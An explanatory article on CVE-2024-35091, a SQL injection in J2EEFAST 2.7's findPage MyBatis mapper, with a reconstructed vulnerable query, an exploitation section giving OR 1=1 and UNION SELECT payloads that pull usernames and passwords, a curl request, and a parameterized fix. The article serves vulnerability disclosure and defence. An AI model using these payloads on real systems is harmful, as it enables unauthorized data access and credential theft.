In June 2024, a serious SQL injection vulnerability dubbed CVE-2024-35091 was disclosed for the open-source enterprise rapid development framework J2EEFAST version 2.7.. This bug sits within the SysTenantMapper.xml file, specifically in the findPage function. SQL injection (SQLi) lets an attacker manipulate queries to the underlying database — and this exploit could result in unauthorized access, data leakage, or other security problems.

This article walks you through the background, how the vulnerability works, and how it might be abused — all explained in clear, everyday language.

What is J2EEFAST?

J2EEFAST is an open-source Java-based platform for rapid web app development. It covers basics like user management, role-based access, and other typical enterprise features. J2EEFAST uses MyBatis for database mapping, often relying on XML files to describe how SQL queries are run.

Vulnerable Function: findPage

- CVE Page: NVD - CVE-2024-35091

How Does the Vulnerability Happen?

In MyBatis XML mappers, dynamic SQL is a powerful, yet dangerous, feature. In the case of J2EEFAST v2.7., the method findPage builds SQL queries with input parameters that are insufficiently sanitized. If user-supplied values are put straight into a SQL statement without strict checks, that can let attackers inject their own SQL commands.

> The Vulnerable Pattern:
> Using ${} for parameter interpolation (dangerous), instead of #{} (safe).
>
> - ${param}: String substitution, _not_ safe, risk of SQLi.
> - #{param}: Safe, uses prepared statements.

The Vulnerable Code

Here’s a simplified excerpt of the vulnerable MyBatis XML code (based on public disclosures and typical mapper patterns):

<select id="findPage" resultType="SysTenant">
    SELECT * FROM sys_tenant
    <where>
        <if test="tenantName != null and tenantName != '' ">
            AND tenant_name LIKE '%${tenantName}%'
        </if>
        <if test="status != null">
            AND status = '${status}'
        </if>
    </where>
</select>

Key Issue:
The ${tenantName} and ${status} parameters are injected without escaping, allowing an attacker to supply SQL fragments.

How to Exploit CVE-2024-35091

Let’s say the web application exposes a page filter, and you can set the tenantName via HTTP request (such as a search form or API).

Suppose there's a vulnerable HTTP request like

GET /api/tenants?page=1&tenantName=foo

An attacker could set

tenantName=' OR 1=1 --

This changes the SQL executed to

SELECT * FROM sys_tenant WHERE tenant_name LIKE '% ' OR 1=1 -- %'

With UNION-based SQLi, it's possible to extract database info

tenantName=' UNION SELECT username,password,'','','','' FROM users --

Example with curl

curl "http://target/api/tenants?page=1&tenantName='; UNION SELECT username,password,'','','','' FROM users --"

If the structure matches, this will inject a second query that selects usernames and passwords from another table.

Download or modify tenants, users, or sensitive application data.

- Possibly achieve remote code execution (if the DB supports it and the attacker chains with other flaws).

Escalate privileges or pivot further in the environment.

Real-World Impact:
If you use J2EEFAST for a business-critical app and run v2.7., you could be at significant risk.

Immediate actions

1. Upgrade: Check the J2EEFAST repository for patches or newer safer versions.
2. Block dangerous input: Use allow-lists, parameterized queries, and always use #{param} in MyBatis XML, _never_ ${}.
3. WAF/IDS: Set up firewall rules to catch basic SQLi attempts.

Example of Safe Code

<select id="findPage" resultType="SysTenant">
    SELECT * FROM sys_tenant
    <where>
        <if test="tenantName != null and tenantName != '' ">
            AND tenant_name LIKE CONCAT('%', #{tenantName}, '%')
        </if>
        <if test="status != null">
            AND status = #{status}
        </if>
    </where>
</select>

This prevents SQLi by using parameterized queries.

References

- NVD Entry: CVE-2024-35091
- Original OSS J2EEFAST Repository
- OWASP SQL Injection Guide
- MyBatis Documentation - XML Mappers

Conclusion

CVE-2024-35091 is a classic example of how dynamic SQL in frameworks like MyBatis can go wrong. If you use J2EEFAST v2.7., audit and fix your project now. Rely on prepared queries and sanitize all user input. For developers, remember: String interpolation in SQL is dangerous. Always use safe parameterization!


*This article was created as an exclusive, plain-language explanation to help everyone understand and defend against this specific security flaw. Stay aware, patch often, and code safely!*

Timeline

Published on: 05/23/2024 17:15:31 UTC
Last modified on: 08/16/2024 19:35:12 UTC